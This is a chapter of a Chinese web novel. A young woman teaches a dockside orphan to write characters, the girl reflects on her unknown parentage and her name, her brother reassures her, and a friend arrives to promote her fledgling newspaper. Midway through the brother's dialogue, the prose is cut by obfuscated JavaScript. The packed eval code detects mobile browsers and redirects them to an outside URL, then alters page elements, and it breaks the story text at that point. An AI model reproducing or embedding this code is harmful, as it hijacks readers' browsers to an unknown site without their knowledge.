秋风卷着黄叶扫过陈家的后院，但秋天的南州和夏天没什么两样，枝头仍然是郁郁葱葱的，天气还是闷的可怕，只是地上偶多了几片落叶和一丝丝的若有若无的寒意。
锅炉房门吱呀一响，被猛地推开。
“我要学写字！”一个熟悉的声音响亮地在室内炸开。
陈蔚青手里的铅笔头顿了一下，还没来得及转身，就见罗简一脚踢开门，大马金刀地站在门口，头发有点乱，脸颊微红，像是一路小跑上来的。
她还没说话，罗炽南慢悠悠地抬起头，从一堆打孔卡纸后探出半张脸：“你发什么疯？”
“我不疯！”罗简气鼓鼓地瞪他，“我就想学写字！”
蔚青一时间没反应过来，眨了眨眼，先指着罗简，又指了指罗炽南：“你这个当哥哥的，怎么不教她写字？”
“我也不会啊。”他理直气壮地说，声音一落，又像怕挨数落似的，补了一句，“……真的不会。”
“你不会写字？”蔚青难以置信地看着他，“那你认字吗？”
“认啊！但，呃，反正那些简单的肯定没问题……”罗炽南越说心越虚，举起一根还沾着油污的手指，“别这样看我，我还会英文呢……就是那种拆机器时看懂型号的英文。”
蔚青扶额，哭笑不得：“行吧！我来教你。”
罗简眼睛立刻亮了，像捡到了糖：“真的？”
“我也不是白教的。”蔚青一边说，一边敲了敲桌上那沓刚写到一半的纸稿，“你得帮我朋友黎婉芝出出主意。她想办一张刊物，可最近一直没什么起色。你鬼点子多，说不定能帮上忙。”
“什么刊物？写什么的？”罗简一歪头，眼睛闪闪发亮地看着她。
“新思想啊，新社会啊什么的。”
“婉芝那报纸还在办啊？”沈时砚头也没抬，“我还以为早就因为没人看休刊了。”
“她可是说要办成南州的《新青年》。”蔚青笑了，扬了扬眉，“阿简，去，把你那写字的东西都拿来，我这就给你上课。”
锅炉房的老木桌被清了出来，油迹斑斑的卡纸、电阻和导线被小心推到一边，腾出一块空地。阳光从高窗斜斜照进来，落在桌面上，那是一道秋日特有的暖黄。
“坐好。”陈蔚青像个小先生似的，把一张泛黄的格纸摊在桌上，“来，先写‘人’字。”
罗简托着腮坐下：“你别说，这样一坐还真像小时候茶水铺里那几个学徒上课。”
“你小时候就该上这个课。”蔚青把笔往她手里一塞，“握稳了。”
罗简试着在纸上写下一个“人”，歪歪扭扭，像个快摔倒的小人。
“哇，好丑。”她自己先笑了出来。
“你也知道丑？”蔚青也忍不住笑了，“歪成这样也敢拿出来。”
“你当年写字就很美？”罗简反击道。
蔚青抬头想了想，明明是一个笑话，她的回复却格外的严肃：“太久了，不记得了。”她顿了顿，补了一句，“而且我小时候是跟老师一个字一个字学的。”
话音刚落，气氛就有些微妙地静了一下。
罗简察觉出来了，转开话题：“那我是不是也算拜你为师啦？”
“我可没你那大礼。”蔚青拍了拍她的脑袋，“你快写，写十遍‘人’，再写‘心’。写完我来检查。”
“是——先生。”罗简拉长了语调，嘴角却忍不住翘着，低下头一笔一画写起来。
锅炉房里一时安静下来，只听见铅笔在纸上沙沙作响。远处有鸟飞过，高窗外秋叶簌簌落下。
沈时砚正拿着锉刀修电机，他瞥了一眼那边写字的两人，嘴角一翘。
“天、地、玄、黄——”罗简念着笔画，咬着牙写下一排，像是在给每一笔都按上力气。
陈蔚青坐在她旁边，一边给她正字，一边笑：“好丑啊。”
“你才丑。”罗简哼了一声，“我写得可认真了。”
蔚青弯起嘴角，把她写得歪七扭八的“玄”字挑出来：“你这‘玄’像个摔倒的老头。”
“老头就老头！”罗简撇撇嘴，“他还能站起来。”
她们从《千字文》写到《弟子规》，写到“天地玄黄，宇宙洪荒”，又写到“床前明月光，疑是地上霜”。
陈蔚青扶着脸看她：“你学得挺快的呀，虽然还是很丑，但比大多数初学者快多了。”
“我才不是初学者。”罗简下巴一抬，语气倔强又有点小骄傲。
“哦？”蔚青挑眉，“你学过？”
“不是。”她甩甩手腕，喘了口气，“我小时候经常捡报纸看，码头那边，别人不要了就丢到水边，我就翻回来擦擦干净看。那些字，我不懂，但看得多了也能记下一点。”
陈蔚青一下子静了，像是没想到她会这么说。
“你还看报纸？”她语气放轻了点，“都看些什么？”
“不知道啊。”罗简也没抬头，“有时候是北边来的报纸，有时候是香港的。什么都看，有命案、有香粉铺打广告，还有人写诗。”她顿了顿，小声说：“有一回我还看见过写一个新人女演员阮玲玉的，她长得真漂亮啊……我也想演电影。”
这一句话，她说得很轻，但铅笔仍在纸上划着，像是不想让那点羞涩显得太明显。
陈蔚青没有立刻回话，只是低下头，帮她把最后一行“明月”改正了一笔。
“行了行了，诗写够了。”陈蔚青收起那页满是李白和杜甫的字练，“现在写点重要的。”
“写什么？”罗简甩了甩手腕，仿佛真把自己当成了正经学生。
“写你名字。”蔚青把一张干净的纸推过去，拿笔在角落写了两个字作范例：“羅、簡”
“……这我会写。”罗简嘀咕着照着写了一遍，歪歪扭扭，但倒也能认。
“我一直想问，”陈蔚青托着下巴看她，“你为什么叫‘简’？‘罗简’，听起来像是英文名‘Jane’的音。”
“我也不知道啊。”她把铅笔放下，“听说是以前养大我的那个码头工人给我取的。那时候有个在船上做事的读书人路过，说他最近在翻译一本洋书，说是女主角也叫‘简’，挺厉害的……所以就拿来给我起名了。”
“……不会是《JaneEyre》吧？”沈时砚的声音从铁块堆后响起，他慢悠悠地探出头来，“我以前读过一点点。讲的是一个从小被寄养在舅妈家的孤女……”他说到这里突然顿住，像是意识到了什么，没再往下讲。
空气突然静了几秒。
罗简低下头，盯着那张写有“罗简”二字的纸，一笔一画的，看得出神。
“我也不知道。”她忽然开口，声音低下来，“我连那个翻译书的人是谁都不知道，也不记得那个把我养大，把我扔到街上的工人是谁。”
她抬起头，眼睛盯着桌上的那盏小台灯，“我不知道我爸爸是中国人还是妈妈是中国人。我有时候想……如果我要找他，那我该去找一个男人，还是一个女人？”
没人说话。
“我以前以为我是中国人。”她咬着牙笑了一下，“但小时候在巷子里玩，总有孩子说我是‘半个鬼子’。我又不会说洋文，洋人看我像乞丐，中国人看我像外人。现在长大一点了，虽然也没人说了，但……”
她手指一点一点地摩挲着那两个字：“我只是……有时候不知道我是谁，我该去哪。”
沈时砚似乎想说什么，最终只把眼神移开，继续在他手里的纸上画电路图。
她绽开一个苦涩的笑：“但我现在在纺织厂有工作！还有朋友！还有人教我写字！已经很好了！”
陈蔚青慢慢伸手，把那张写有“罗简”的纸叠起来，压在她面前。
“你已经有名字了。”她轻声说，“你已经有地方写下这个名字了。”
锅炉房里一时静得出奇，连窗缝灌进来的风都像是迟疑了一下。
就在这时，罗炽南“哗”地一下站起来，打破了沉默。
他走过来，弯腰从罗简面前抢过那张写有“罗简”的纸，嘴里嘟囔着：“哎呀，哭什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502446|170413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哭……难看死了。”
他抄起铅笔，动作笨拙地在她名字的下面写了三个字：“羅熾南”。笔划粗重、歪歪扭扭，像是六岁小孩的字。
“看，”他扬了扬纸，“这上面不是还有我呢嘛！”
他一边把纸推回去，一边说：“怎么就没有家了？你哥我还活着呢，你爱找爸找妈，那是你自己的事；可我在这儿呢，从小到大都在这儿。你哭了，我打人；你挨饿，我想办法偷吃的回来。”
他嗓子有点哑：“我不是给你唱过戏，不是给你剪过头发了吗？这不都是哥哥做的吗？”
“你说你没家。”他声音低了点，“那我算什么？”
罗简张了张嘴，没说出话来。她把那张纸重新抓到手里，看了好一会儿，突然一把扑过去，把哥哥抱住，死死搂住不撒手。
“……我有家。”她的声音闷在他肩膀里，带着点鼻音，“我早就有家了。”
“哎哟你轻点。”罗炽南嫌弃地拍了拍她的后背，“你一身汗，黏死了。”
锅炉房门又一次“砰”地被推开，比刚才还响。
“干嘛——你们这是在锅炉房搞罗曼蒂克啊？”黎婉芝的声音像一颗弹珠一样弹进屋里，一边说一边走进来，嘴角噙着笑，像是刚从喜剧舞台上跳下来的女学生。
陈蔚青猛地回头，眼睛一亮：“婉芝？你怎么来了？”
黎婉芝穿着一身偏旧的蓝白相间布裙，腰间系着根带子，背上斜挎着一只被书和报纸撑得圆滚滚的帆布包。她头发被风吹得有点乱，鞋跟还粘着一小片不知哪里带来的树叶。她一手叉腰，一手扯下背包，像个准备宣布什么的人。
“再不来你就完蛋了。”她喘了口气，“你家刚才派人杀到我家门口，说是来找你，我只好硬着头皮说你去女中帮我爸教书了。真不知道还能帮你瞒多久……”
她说着话时已经扫到了屋里另一位陌生但又特别的身影——罗简。
“欸？这就是你说的那个小姑娘？”她挑眉看向蔚青，眼神里写着“我很感兴趣”。
“没错。”蔚青一手拉过罗简，一边笑着说，“我正教她写字呢。打算让她以后替你那份伟大的报纸添砖加瓦。”
黎婉芝当即双眼发光，一步冲过去拉住罗简的手，像发现新大陆似的：“太好了太好了！我离办成南州的《新青年》又近一步啦！”
她一边握着罗简的手摇，一边转头对蔚青说：“等我哪天去法国了，这张报纸就交给你了！”
“你认真的？”蔚青挑眉，“南州的新青年？你还真是敢想。”
“怎么啦？”婉芝理直气壮，“我办不成《新青年》，那是因为没人给我写文章！你这不是已经在亲手培养作家了？”
“你怎么不说，是因为你没有周树人给你供稿呢？”蔚青撇嘴。
“也有这方面的原因。”婉芝不以为意地耸耸肩，还做了个夸张的鬼脸，“但鲁迅不来，蔚青就来嘛！”
罗简全程懵懵地看着这两个一唱一和的小姐，说不出话来。
“她……她真的要让我写文章？”她小声问。
“你会写字我就让你写。”黎婉芝笑得眼睛弯弯的，“不会也没关系，我觉得有潜力。”
“她这是在夸你。”陈蔚青忍不住解释。
“哦！”罗简终于反应过来，咧嘴一笑。
这时沈时砚抬起头，语气不咸不淡地插了一句：“婉芝你那张报纸现在有几个读者啊？”
“呸，你懂什么。”婉芝白了他一眼，拽着帆布包坐在桌边，“我可是南州最有理想的女报主编，有蔚青看不就行了。”
“居然还有蔚青在看，那比我想象的多。”沈时砚继续低头摆弄电阻丝。
“你少酸！”婉芝从包里掏出几张粗糙的油印稿子，摊在桌上，“呐，你看，第六期。”
众人拿起报纸，你一言我一语地讨论了起来。五人互相打趣的声音再锅炉房里此起彼伏，锅炉房外风吹得树叶哗啦啦响。罗简别过头，看着窗外。
今年一定是个丰收的年。